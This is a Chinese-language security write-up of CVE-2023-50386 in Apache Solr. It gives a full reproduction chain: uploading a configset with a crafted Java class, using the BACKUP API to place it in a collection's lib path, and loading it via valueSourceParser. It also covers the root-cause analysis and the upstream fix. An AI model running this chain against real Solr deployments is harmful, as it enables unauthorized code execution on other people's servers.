Apache Solr在创建Collection时会以一个特定的目录作为classpath,从中加载一些类,而Collection的备份功能可以导出攻击者上传的恶意class文件到该目录,从而让Solr加载自定义class,造成任意Java代码执行,可以进一步绕过Solr配置的Java沙箱,最终造成任意命令执行。
该漏洞于24年2月8号公开,官方通告:https://solr.apache.org/security.html#cve-2023-50386-apache-solr-backuprestore-apis-allow-for-deployment-of-executables-in-malicious-configsets
影响范围
- Apache Solr 6.0.0 through 8.11.2
- Apache Solr 9.0.0 before 9.4.1
- SolrCloud模式
环境搭建
docker run --rm -ti --name solr9.0.0 -p 8983:8983 -p 5005:5005 solr:9.0.0 bash
# 启动并进入solr容器
solr start -c -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
# 以SolrCloud模式启动Solr,并附加Java调试参数
漏洞复现
准备Solr默认配置文件
先以root权限进入Solr容器,打包默认的配置文件并复制出来,当然也可以从Solr源码中获得:
docker exec -ti -uroot solr9.0.0 bash
cd /opt/solr-9.0.0/server/solr/configsets/_default
tar cf conf.tar conf/
exit
docker cp solr9.0.0:/opt/solr-9.0.0/server/solr/configsets/_default/conf.tar ~/Desktop/test/
tar xf conf.tar
编译恶意class
编译一个包名为zk_backup_0.configs.conf1
的Java类(容器内的Java版本为17,注意版本兼容问题)
package zk_backup_0.configs.conf1;
import java.io.File;
public class Exp {
static {
try {
new File("/tmp/success").createNewFile();
}catch (Exception e) {
e.printStackTrace();
}
}
}
上传配置文件conf1
将恶意class放入配置文件目录中,并打包上传到Solr,命名为conf1
mv zk_backup_0/configs/conf1/Exp.class conf/
cd conf
zip -q -r conf1.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"
用conf1
创建collection1
用上一步上传的配置conf1
去创建一个Collection,名为collection1
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"
备份collection1
,导出conf1
通过备份功能可以将collection1
导出,其中包括创建collection1
时用的配置文件,也就是conf1
,从而恶意class也随之导出。
以下API中location
为要导出的路径,/var/solr/data/
是SOLR_HOME
的路径。name
为导出的名字,其实也就相当于路径的一部分
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"
响应完成后,collection1
被导出到了/var/solr/data/collection2_shard1_replica_n1
而它对应的配置被导出到了/var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/
通过备份的接口再次导出collection1
,注意location
和name
都有变化:
curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"
这次导出后,会发现我们的class最终在/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1
目录结构zk_backup_0/configs/conf1
与包名zk_backup_0.configs.conf1
恰好对应
上传配置文件conf2
默认配置的solrconfig.xml
文件有个valueSourceParser
标签
取消其注释,并修改为
<valueSourceParser name="myfunc" class="zk_backup_0.configs.conf1.Exp" />
打包上传,命名为conf2
rm Exp.class conf1.zip
zip -q -r conf2.zip *
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"
用conf2
创建collection2
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"
Collection创建过程中会将SOLR_HOME/collection2_shard1_replica_n1/lib/
下的jar包或者一级子目录作为URLClassLoader的urls。并且会加载solrconfig.xml
中配置的类,从而导致zk_backup_0.configs.conf1.Exp
类的静态代码被执行
绕过沙箱
其实在Solr中通过这种方式执行Java代码是会受沙箱限制的,这也是为什么我用了new File("/tmp/success").createNewFile();
创建文件来演示漏洞而非命令执行。
删除创建的配置和Collection
curl "http://127.0.0.1:8983/solr/admin/collections?action=DELETE&name=collection1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf1"
curl "http://127.0.0.1:8983/solr/admin/configs?action=DELETE&name=conf2"
漏洞分析
漏洞复现过程尽管很复杂,但漏洞关键其实就几点
- Solr在创建Collection时会加载配置文件中设置的Java类,而classpath是一个特定的目录
- 备份Collection时会导出一系列配置文件,而这些文件由用户上传
- 备份导出的路径在一定程度上可控
- 所用到的api接口默认情况下均可未授权访问
挖掘思路
挖掘Solr前,我的目的很明确,只关注RCE漏洞,然后去大概了解了一下Solr的用途和历史漏洞。有一篇Solr的总结很全面:https://paper.seebug.org/1515/
分析完历史漏洞后,感觉Solr最大的问题是默认情况下很多敏感的接口都是未授权可访问,我觉得这也是挖掘新洞的一个着手点。
其中关于配置集,和Collection管理的api尤其受关注。因为创建Collection时可以指定某个配置,而这些配置又由用户上传,配置中某些配置项又必然影响某些代码逻辑。
https://solr.apache.org/guide/solr/9_0/configuration-guide/configsets-api.html
https://solr.apache.org/guide/solr/9_0/deployment-guide/collection-management.html
调试分析
加载lib
在org.apache.solr.handler.admin.CollectionsHandler#handleRequestBody打断点,然后发起如下请求
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=test_collection&numShards=1&replicationFactor=1&wt=json&collection.configName=_default"
这里就是Collection相关请求的入口
然后到 org.apache.solr.core.SolrConfig#initLibs
这里的libPath
即/var/solr/data/test_collection_shard1_replica_n1/lib
,此路径如果存在的话,就会用这个路径下的Jar包和一级子目录作为urls创建URLClassLoader,该URLClassLoader对象储存在org.apache.solr.core.SolrResourceLoader#classLoader
。
(可以手动在这个目录下创建lib,观察一下代码逻辑):
后续读取配置文件中的类并加载的代码就不再跟了。
写入lib
后面的挖掘方向就是如何在/var/solr/data/test_collection_shard1_replica_n1/lib
目录下写入所需文件,这是这个漏洞另一个关键的地方。
回到备份Collection的api:
http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=dirname
这个api调用示例的是将collection1
导出到/var/solr/data/
路径下的dirname
目录,要求location
这个目录必须提前存在,然后我们借由配置文件上传的可控的文件在更深的路径,即/var/solr/data/dirname/collection1/zk_backup_0/configs/conf1/
我一开始想往/var/solr/data/test_collection_shard1_replica_n1/lib/
写入一个Jar包,也尝试目录穿越等等方法,发现确实无法做到。只能在libPath
的子子子子目录写入可控文件,也就是/var/solr/data/test_collection_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1/
,当然把Jar包写在这里是不能被识别的。
后来想到Java的类结构,不也是包名/包名/包名/类名.class
,刚好抵消这里多出来的子目录,所以就有了前文复现流程中的奇怪的包名。
漏洞修复
https://github.com/apache/solr/commit/28d6b0163316376ef3b5429b3554c5041b47b5be
增加了备份导出时的文件类型黑名单